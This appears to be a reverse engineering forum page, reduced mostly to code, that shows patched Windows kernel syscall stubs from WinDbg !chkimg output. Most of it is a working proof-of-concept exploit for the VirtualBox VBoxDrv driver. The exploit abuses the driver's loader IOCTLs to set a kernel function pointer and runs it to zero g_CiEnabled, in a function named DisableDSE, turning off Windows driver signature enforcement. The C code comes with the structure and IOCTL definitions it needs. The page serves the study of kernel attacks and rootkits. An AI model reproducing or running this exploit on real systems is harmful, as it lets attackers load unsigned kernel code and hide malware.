A forum for reverse engineering, OS internals and malware analysis
mov al, SERVICE_ID
int 55h
ret nt!NtQuerySystemInformation:
8057bc36 b000 mov al,0
8057bc38 cd55 int 55h
8057bc3a c3 ret
nt!NtClose:
805678dd b001 mov al,1
805678df cd55 int 55h
805678e1 c3 ret
nt!NtTerminateProcess:
805822e0 b002 mov al,2
805822e2 cd55 int 55h
805822e4 c3 ret
nt!NtShutdownSystem:
8064716b b00d mov al,0Dh
8064716d cd55 int 55h
8064716f c3 ret
lkd> !chkimg nt -d
805678dd-805678e1 5 bytes - nt!NtClose
[ 8b ff 55 8b ec:b0 01 cd 55 c3 ]
8057bc36-8057bc3a 5 bytes - nt!NtQuerySystemInformation (+0x14359)
[ 68 10 02 00 00:b0 00 cd 55 c3 ]
805822e0-805822e4 5 bytes - nt!NtTerminateProcess (+0x66aa)
[ 8b ff 55 8b ec:b0 02 cd 55 c3 ]
8058e63f-8058e643 5 bytes - nt!NtCreateThread (+0xc35f)
[ 6a 28 68 70 8c:b0 0c cd 55 c3 ]
8064716b-8064716f 5 bytes - nt!NtShutdownSystem (+0xb8b2c)
[ 8b ff 55 8b ec:b0 0d cd 55 c3 ]
lkd> !chkimg nt -d
804e37c5-804e37ca 6 bytes - nt!IofCallDriver
[ ff 25 80 34 55 80:6a 00 cd c3 90 90 ]
805678dd-805678e1 5 bytes - nt!NtClose
[ 8b ff 55 8b ec:6a 08 cd c3 90 ]
805683ff-80568403 5 bytes - nt!ObOpenObjectByName (+0xb22)
[ 8b ff 55 8b ec:6a 0a cd c3 90 ]
8057065d-80570661 5 bytes - nt!NtCreateKey (+0x825e)
[ 68 c4 00 00 00:6a 04 cd c3 90 ]
80570a6e-80570a73 6 bytes - nt!NtQueryKey+1 (+0x411)
[ 60 68 10 c8 4e 80:02 cd c3 90 90 90 ]
80570d65-80570d6a 6 bytes - nt!NtEnumerateKey+1 (+0x2f7)
[ 54 68 50 c8 4e 80:03 cd c3 90 90 90 ]
80574118-8057411d 6 bytes - nt!NtReadFile+1 (+0x33b3)
[ 68 68 10 13 4f 80:06 cd c3 90 90 90 ]
8057bc36-8057bc3a 5 bytes - nt!NtQuerySystemInformation (+0x7b1e)
[ 68 10 02 00 00:6a 07 cd c3 90 ]
805822e0-805822e4 5 bytes - nt!NtTerminateProcess (+0x66aa)
[ 8b ff 55 8b ec:6a 09 cd c3 90 ]
8058e640-8058e645 6 bytes - nt!NtCreateThread+1 (+0xc360)
[ 28 68 70 8c 4f 80:0b cd c3 90 90 90 ]
8059fa51-8059fa55 5 bytes - nt!IoCreateDevice (+0x11411)
[ 8b ff 55 8b ec:6a 01 cd c3 90 ]
8064716b-8064716f 5 bytes - nt!NtShutdownSystem (+0xa771a)
[ 8b ff 55 8b ec:6a 0c cd c3 90 ]
8064ed92-8064ed96 5 bytes - nt!NtSaveKey (+0x7c27)
[ 8b ff 55 8b ec:6a 05 cd c3 90 ]
nt!NtClose:
fffff800`029d82a0 6a0c push 0Ch
fffff800`029d82a2 cdc3 int 0C3h
fffff800`029d82a4 90 nop
ULONG_PTR data[15];
memcpy(data, magic, sizeof(magic));
DeviceIoControl(VBoxDrv, 0x228204, data, sizeof(inputdatasize), data, (outputdatasize), NULL, NULL);
SUPCOOKIE CookieReq;
uint32_t g_u32Cookie = CookieReq.u.Out.u32Cookie;
uint32_t g_u32SessionCookie = CookieReq.u.Out.u32SessionCookie;
uint32_t g_pSession = CookieReq.u.Out.pSession;
void *pvImageBase;
CookieReq.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE;
CookieReq.Hdr.cbIn = SUP_IOCTL_COOKIE_SIZE_IN;
CookieReq.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT;
CookieReq.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
CookieReq.Hdr.rc = VERR_INTERNAL_ERROR;
CookieReq.u.In.u32ReqVersion = SUPDRVIOC_VERSION;
CookieReq.u.In.u32MinVersion = 0x00070002;
strcpy(CookieReq.u.In.szMagic, SUPCOOKIE_MAGIC);
if (SUCCESS(deviceIOcontrol_wrap(SUP_IOCTL_COOKIE, &CookieReq, SUP_IOCTL_COOKIE_SIZE)))
{
SUPLDROPEN OpenReq;
OpenReq.Hdr.u32Cookie = g_u32Cookie;
OpenReq.Hdr.u32SessionCookie = g_u32SessionCookie;
OpenReq.Hdr.cbIn = SUP_IOCTL_LDR_OPEN_SIZE_IN;
OpenReq.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT;
OpenReq.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
OpenReq.Hdr.rc = VERR_INTERNAL_ERROR;
OpenReq.u.In.szName = 'a'
if(SUCCESS(deviceIOcontrol_wrap(SUP_IOCTL_LDR_OPEN, &OpenReq, SUP_IOCTL_LDR_OPEN_SIZE)))
{
pvImageBase = (void *)OpenReq.u.Out.pvImageBase; // Here we get r0 ptr of our fake-vm_image
PSUPLDRLOAD pLoadReq = malloc (0x90); //haha don't matter
pLoadReq->Hdr.u32Cookie = g_u32Cookie;
pLoadReq->Hdr.u32SessionCookie = g_u32SessionCookie;
pLoadReq->Hdr.cbIn = 0x90;
pLoadReq->Hdr.cbOut = SUP_IOCTL_LDR_LOAD_SIZE_OUT;
pLoadReq->Hdr.fFlags = SUPREQHDR_FLAGS_MAGIC | SUPREQHDR_FLAGS_EXTRA_IN;
pLoadReq->Hdr.rc = VERR_INTERNAL_ERROR;
pLoadReq->u.In.eEPType = SUPLDRLOADEP_VMMR0;
pLoadReq->u.In.EP.VMMR0.pvVMMR0 = pvImageBase ;
pLoadReq->u.In.EP.VMMR0.pvVMMR0EntryInt = (RTR0PTR)pvImageBase ;
pLoadReq->u.In.EP.VMMR0.pvVMMR0EntryFast= (RTR0PTR)pvImageBase ;//hehe our next target :D
pLoadReq->u.In.EP.VMMR0.pvVMMR0EntryEx = (RTR0PTR)pvImageBase ;
WriteShellCode_wrap(&pLoadReq->u.In.achImage[0]); // <<< here our mini-shellcode
if(SUCCESS(deviceIOcontrol_wrap(SUP_IOCTL_LDR_LOAD, pLoadReq, 0x90)))
{
SUPSETVMFORFAST Req;
Req.Hdr.u32Cookie = g_u32Cookie;
Req.Hdr.u32SessionCookie = g_u32SessionCookie;
Req.Hdr.cbIn = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN;
Req.Hdr.cbOut = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT;
Req.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
Req.Hdr.rc = VERR_INTERNAL_ERROR;
Req.u.In.pVMR0 = 0x1000;
if(SUCCESS(deviceIOcontrol_wrap(SUP_IOCTL_SET_VM_FOR_FAST, &Req, SUP_IOCTL_SET_VM_FOR_FAST_SIZE)))
{
//trigger our mini-shellcode and w-w-w
deviceIOcontrol_wrap(SUP_IOCTL_FAST_DO_NOP,g_CiEnabled,SUP_IOCTL_FAST_DO_NOP_SIZE);
}
}
}
}
NTSTATUS _stdcall VBoxDrvNtDeviceControl(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
if ( ulCmd == SUP_IOCTL_FAST_DO_RAW_RUN
|| ulCmd == SUP_IOCTL_FAST_DO_HWACC_RUN
|| ulCmd == SUP_IOCTL_FAST_DO_NOP)
{
rc = supdrvIOCtlFast(ulCmd, pDevExt, pSession);
....
__try
{
*(int *)pIrp->UserBuffer = rc; // <<< W-W-W is here
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
rcNt = pIrp->IoStatus.Status = GetExceptionCode();
dprintf(("VBoxSupDrvDeviceContorl: Exception Code %#x\n", rcNt));
}
}
.........
}
int VBOXCALL supdrvIOCtlFast(uintptr_t uIOCtl, PSUPDRVDEVEXT pDevExt, PSUPDRVSESSION pSession)
{
....
case SUP_IOCTL_FAST_DO_NOP:
rc = pDevExt->pfnVMMR0EntryFast(pSession->pVM, SUP_VMMR0_DO_NOP); // pfnVMMR0EntryFast is can be controlled lol!
....
}
typedef struct SUPLDRLOAD
{
/** The header. */
SUPREQHDR Hdr;
union
{
struct
{
/** The address of module initialization function. Similar to _DLL_InitTerm(hmod, 0). */
PFNR0MODULEINIT pfnModuleInit;
/** The address of module termination function. Similar to _DLL_InitTerm(hmod, 1). */
PFNR0MODULETERM pfnModuleTerm;
/** Special entry points. */
union
{
struct
{
/** The module handle (i.e. address). */
RTR0PTR pvVMMR0;
/** Address of VMMR0EntryInt function. */
RTR0PTR pvVMMR0EntryInt;
/** Address of VMMR0EntryFast function. */
RTR0PTR pvVMMR0EntryFast;
/** Address of VMMR0EntryEx function. */
RTR0PTR pvVMMR0EntryEx;
} VMMR0;
} EP;
/** Address. */
RTR0PTR pvImageBase;
/** Entry point type. */
SUPLDRLOADEP eEPType;
/** The offset of the symbol table. */
uint32_t offSymbols;
/** The number of entries in the symbol table. */
uint32_t cSymbols;
/** The offset of the string table. */
uint32_t offStrTab;
/** Size of the string table. */
uint32_t cbStrTab;
/** Size of image (including string and symbol tables). */
uint32_t cbImage;
/** The image data. */
char achImage[1];
} In;
} u;
} SUPLDRLOAD, *PSUPLDRLOAD;
xor eax,eax
ret
/*
* Update any entry points.
*/
switch (pReq->u.In.eEPType)
{
default:
case SUPLDRLOADEP_NOTHING:
rc = VINF_SUCCESS;
break;
case SUPLDRLOADEP_VMMR0:
rc = supdrvLdrSetR0EP(pDevExt, pReq->u.In.EP.VMMR0.pvVMMR0, pReq->u.In.EP.VMMR0.pvVMMR0EntryInt, // <<< here we go
pReq->u.In.EP.VMMR0.pvVMMR0EntryFast, pReq->u.In.EP.VMMR0.pvVMMR0EntryEx);
break;
}
pDevExt->pvVMMR0 = pvVMMR0;
pDevExt->pfnVMMR0EntryInt = pvVMMR0EntryInt;
pDevExt->pfnVMMR0EntryFast = pvVMMR0EntryFast; // <<< Hereee :)
pDevExt->pfnVMMR0EntryEx = pvVMMR0EntryEx;
#include "vbox.h"
#include "prtl.h"
const unsigned char shellcode[] = {
0x33, 0xC0, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* xor eax, eax */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 /* ret */
};
VOID DisableDSE(
PVOID g_CiEnabledAddr
)
{
HANDLE hObject = NULL;
SUPCOOKIE Cookie;
SUPLDROPEN OpenLdr;
DWORD bytesIO = 0;
PVOID ImageBase = NULL;
PSUPLDRLOAD pLoadTask = NULL;
SUPSETVMFORFAST vmFast;
hObject = CreateFile(TEXT("\\\\.\\VBoxDrv"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hObject != INVALID_HANDLE_VALUE) {
memset(&Cookie, 0, sizeof(SUPCOOKIE));
Cookie.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE;
Cookie.Hdr.cbIn = SUP_IOCTL_COOKIE_SIZE_IN;
Cookie.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT;
Cookie.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
Cookie.Hdr.rc = 0;
Cookie.u.In.u32ReqVersion = 0;
Cookie.u.In.u32MinVersion = 0x00070002;
_strcpyA(Cookie.u.In.szMagic, SUPCOOKIE_MAGIC);
if (!DeviceIoControl(hObject, SUP_IOCTL_COOKIE, &Cookie, SUP_IOCTL_COOKIE_SIZE_IN, &Cookie,
SUP_IOCTL_COOKIE_SIZE_OUT, &bytesIO, NULL)) goto fail;
memset(&OpenLdr, 0, sizeof(OpenLdr));
OpenLdr.Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
OpenLdr.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
OpenLdr.Hdr.cbIn = SUP_IOCTL_LDR_OPEN_SIZE_IN;
OpenLdr.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT;
OpenLdr.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
OpenLdr.Hdr.rc = 0;
OpenLdr.u.In.cbImage = sizeof(OpenLdr.u.In.szName);
OpenLdr.u.In.szName[0] = 'a';
OpenLdr.u.In.szName[1] = 0;
if (!DeviceIoControl(hObject, SUP_IOCTL_LDR_OPEN, &OpenLdr, SUP_IOCTL_LDR_OPEN_SIZE_IN,
&OpenLdr, SUP_IOCTL_LDR_OPEN_SIZE_OUT, &bytesIO, NULL)) goto fail;
ImageBase = OpenLdr.u.Out.pvImageBase;
pLoadTask = (PSUPLDRLOAD)VirtualAlloc(NULL, 0x90, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pLoadTask == NULL) goto fail;
RtlSecureZeroMemory(pLoadTask, 0x90);
pLoadTask->Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
pLoadTask->Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
pLoadTask->Hdr.cbIn = 0x88;
pLoadTask->Hdr.cbOut = SUP_IOCTL_LDR_LOAD_SIZE_OUT;
pLoadTask->Hdr.fFlags = SUPREQHDR_FLAGS_MAGIC;
pLoadTask->Hdr.rc = 0;
pLoadTask->u.In.eEPType = SUPLDRLOADEP_VMMR0;
pLoadTask->u.In.EP.VMMR0.pvVMMR0 = (PVOID)0x1000;
pLoadTask->u.In.pvImageBase = (RTR0PTR)ImageBase;
pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryEx = (RTR0PTR)ImageBase;
pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryFast = (RTR0PTR)ImageBase;
pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryInt = (RTR0PTR)ImageBase;
memcpy(pLoadTask->u.In.achImage, shellcode, sizeof(shellcode));
pLoadTask->u.In.cbImage = sizeof(shellcode);
if (!DeviceIoControl(hObject, SUP_IOCTL_LDR_LOAD, pLoadTask, 0x88,
pLoadTask, sizeof(SUPREQHDR), &bytesIO, NULL)) goto fail;
vmFast.Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
vmFast.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
vmFast.Hdr.rc = 0;
vmFast.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
vmFast.Hdr.cbIn = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN;
vmFast.Hdr.cbOut = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT;
vmFast.u.In.pVMR0 = (PVOID)0x1000;
if (!DeviceIoControl(hObject, SUP_IOCTL_SET_VM_FOR_FAST,
&vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN,
&vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT, &bytesIO, NULL)) goto fail;
DeviceIoControl(hObject, SUP_IOCTL_FAST_DO_NOP, g_CiEnabledAddr, 0, g_CiEnabledAddr, 0, &bytesIO, NULL);
fail:
if (hObject != INVALID_HANDLE_VALUE) CloseHandle(hObject);
if (pLoadTask != NULL) VirtualFree(pLoadTask, 0, MEM_RELEASE);
}
}#include <stdint.h>
#pragma pack(8)
typedef void* RTR0PTR;
typedef struct SUPREQHDR
{
/** Cookie. */
uint32_t u32Cookie;
/** Session cookie. */
uint32_t u32SessionCookie;
/** The size of the input. */
uint32_t cbIn;
/** The size of the output. */
uint32_t cbOut;
/** Flags. See SUPREQHDR_FLAGS_* for details and values. */
uint32_t fFlags;
/** The VBox status code of the operation, out direction only. */
int32_t rc;
} SUPREQHDR;
/** SUP_IOCTL_COOKIE. */
typedef struct SUPCOOKIE
{
/** The header.
* u32Cookie must be set to SUPCOOKIE_INITIAL_COOKIE.
* u32SessionCookie should be set to some random value. */
SUPREQHDR Hdr;
union
{
struct
{
/** Magic word. */
char szMagic[16];
/** The requested interface version number. */
uint32_t u32ReqVersion;
/** The minimum interface version number. */
uint32_t u32MinVersion;
} In;
struct
{
/** Cookie. */
uint32_t u32Cookie;
/** Session cookie. */
uint32_t u32SessionCookie;
/** Interface version for this session. */
uint32_t u32SessionVersion;
/** The actual interface version in the driver. */
uint32_t u32DriverVersion;
/** Number of functions available for the SUP_IOCTL_QUERY_FUNCS request. */
uint32_t cFunctions;
/** Session handle. */
/*R0PTRTYPE(PSUPDRVSESSION)*/ PVOID pSession;
} Out;
} u;
} SUPCOOKIE, *PSUPCOOKIE;
typedef struct SUPLDROPEN
{
/** The header. */
SUPREQHDR Hdr;
union
{
struct
{
/** Size of the image we'll be loading. */
uint32_t cbImage;
/** Image name.
* This is the NAME of the image, not the file name. It is used
* to share code with other processes. (Max len is 32 chars!) */
char szName[32];
} In;
struct
{
/** The base address of the image. */
RTR0PTR pvImageBase;
/** Indicate whether or not the image requires loading. */
bool fNeedsLoading;
} Out;
} u;
} SUPLDROPEN, *PSUPLDROPEN;
typedef enum SUPLDRLOADEP
{
SUPLDRLOADEP_NOTHING = 0,
SUPLDRLOADEP_VMMR0,
SUPLDRLOADEP_SERVICE,
SUPLDRLOADEP_32BIT_HACK = 0x7fffffff
} SUPLDRLOADEP;
typedef struct SUPSETVMFORFAST
{
/** The header. */
SUPREQHDR Hdr;
union
{
struct
{
/** The ring-0 VM handle (pointer). */
PVOID pVMR0;
} In;
} u;
} SUPSETVMFORFAST, *PSUPSETVMFORFAST;
typedef struct SUPLDRLOAD
{
/** The header. */
SUPREQHDR Hdr;
union
{
struct
{
/** The address of module initialization function. Similar to _DLL_InitTerm(hmod, 0). */
PVOID pfnModuleInit;
/** The address of module termination function. Similar to _DLL_InitTerm(hmod, 1). */
PVOID pfnModuleTerm;
/** Special entry points. */
union
{
/** SUPLDRLOADEP_VMMR0. */
struct
{
/** The module handle (i.e. address). */
RTR0PTR pvVMMR0;
/** Address of VMMR0EntryInt function. */
RTR0PTR pvVMMR0EntryInt;
/** Address of VMMR0EntryFast function. */
RTR0PTR pvVMMR0EntryFast;
/** Address of VMMR0EntryEx function. */
RTR0PTR pvVMMR0EntryEx;
} VMMR0;
/** SUPLDRLOADEP_SERVICE. */
struct
{
/** The service request handler.
* (PFNR0SERVICEREQHANDLER isn't defined yet.) */
RTR0PTR pfnServiceReq;
/** Reserved, must be NIL. */
RTR0PTR apvReserved[3];
} Service;
} EP;
/** Address. */
RTR0PTR pvImageBase;
/** Entry point type. */
SUPLDRLOADEP eEPType;
/** The offset of the symbol table. */
uint32_t offSymbols;
/** The number of entries in the symbol table. */
uint32_t cSymbols;
/** The offset of the string table. */
uint32_t offStrTab;
/** Size of the string table. */
uint32_t cbStrTab;
/** Size of image (including string and symbol tables). */
uint32_t cbImage;
/** The image data. */
char achImage[1];
} In;
} u;
} SUPLDRLOAD, *PSUPLDRLOAD;
#define RT_SIZEOFMEMB(type, member) ( sizeof(((type *)(void *)0)->member) )
#define SUPCOOKIE_INITIAL_COOKIE 0x69726f74 /* 'tori' */
#define SUP_IOCTL_COOKIE_SIZE_IN sizeof(SUPREQHDR) + RT_SIZEOFMEMB(SUPCOOKIE, u.In)
#define SUP_IOCTL_COOKIE_SIZE_OUT sizeof(SUPREQHDR) + RT_SIZEOFMEMB(SUPCOOKIE, u.Out)
#define SUP_IOCTL_FLAG 128
#define SUP_CTL_CODE_SIZE(Function, Size) CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_BUFFERED, FILE_WRITE_ACCESS)
#define SUP_CTL_CODE_BIG(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_BUFFERED, FILE_WRITE_ACCESS)
#define SUP_CTL_CODE_FAST(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_NEITHER, FILE_WRITE_ACCESS)
#define SUP_CTL_CODE_NO_SIZE(uIOCtl) (uIOCtl)
/** The magic value. */
#define SUPREQHDR_FLAGS_MAGIC UINT32_C(0x42000042)
/** The default value. Use this when no special stuff is requested. */
#define SUPREQHDR_FLAGS_DEFAULT SUPREQHDR_FLAGS_MAGIC
#define VERR_INTERNAL_ERROR (-225)
#define SUPCOOKIE_MAGIC "The Magic Word!"
#define SUPDRV_IOC_VERSION 0x001a0007
/** The request size. */
#define SUP_IOCTL_COOKIE_SIZE sizeof(SUPCOOKIE)
/** Negotiate cookie. */
#define SUP_IOCTL_COOKIE SUP_CTL_CODE_SIZE(1, SUP_IOCTL_COOKIE_SIZE)
/** There is extra input that needs copying on some platforms. */
#define SUPREQHDR_FLAGS_EXTRA_IN UINT32_C(0x00000100)
/** There is extra output that needs copying on some platforms. */
#define SUPREQHDR_FLAGS_EXTRA_OUT UINT32_C(0x00000200)
/** @name SUP_IOCTL_SET_VM_FOR_FAST
* Set the VM handle for doing fast call ioctl calls.
* @{
*/
#define SUP_IOCTL_SET_VM_FOR_FAST SUP_CTL_CODE_SIZE(19, SUP_IOCTL_SET_VM_FOR_FAST_SIZE)
#define SUP_IOCTL_SET_VM_FOR_FAST_SIZE sizeof(SUPSETVMFORFAST)
#define SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN sizeof(SUPSETVMFORFAST)
#define SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT sizeof(SUPREQHDR)
#define SUP_IOCTL_FAST_DO_NOP SUP_CTL_CODE_FAST(66)
#define SUP_IOCTL_LDR_OPEN SUP_CTL_CODE_SIZE(5, SUP_IOCTL_LDR_OPEN_SIZE)
#define SUP_IOCTL_LDR_OPEN_SIZE sizeof(SUPLDROPEN)
#define SUP_IOCTL_LDR_OPEN_SIZE_IN sizeof(SUPLDROPEN)
#define SUP_IOCTL_LDR_OPEN_SIZE_OUT (sizeof(SUPREQHDR) + RT_SIZEOFMEMB(SUPLDROPEN, u.Out))
#define SUP_IOCTL_LDR_LOAD SUP_CTL_CODE_BIG(6)
#define SUP_IOCTL_LDR_LOAD_SIZE(cbImage) RT_UOFFSETOF(SUPLDRLOAD, u.In.achImage[cbImage])
#define SUP_IOCTL_LDR_LOAD_SIZE_IN(cbImage) RT_UOFFSETOF(SUPLDRLOAD, u.In.achImage[cbImage])
#define SUP_IOCTL_LDR_LOAD_SIZE_OUT sizeof(SUPREQHDR)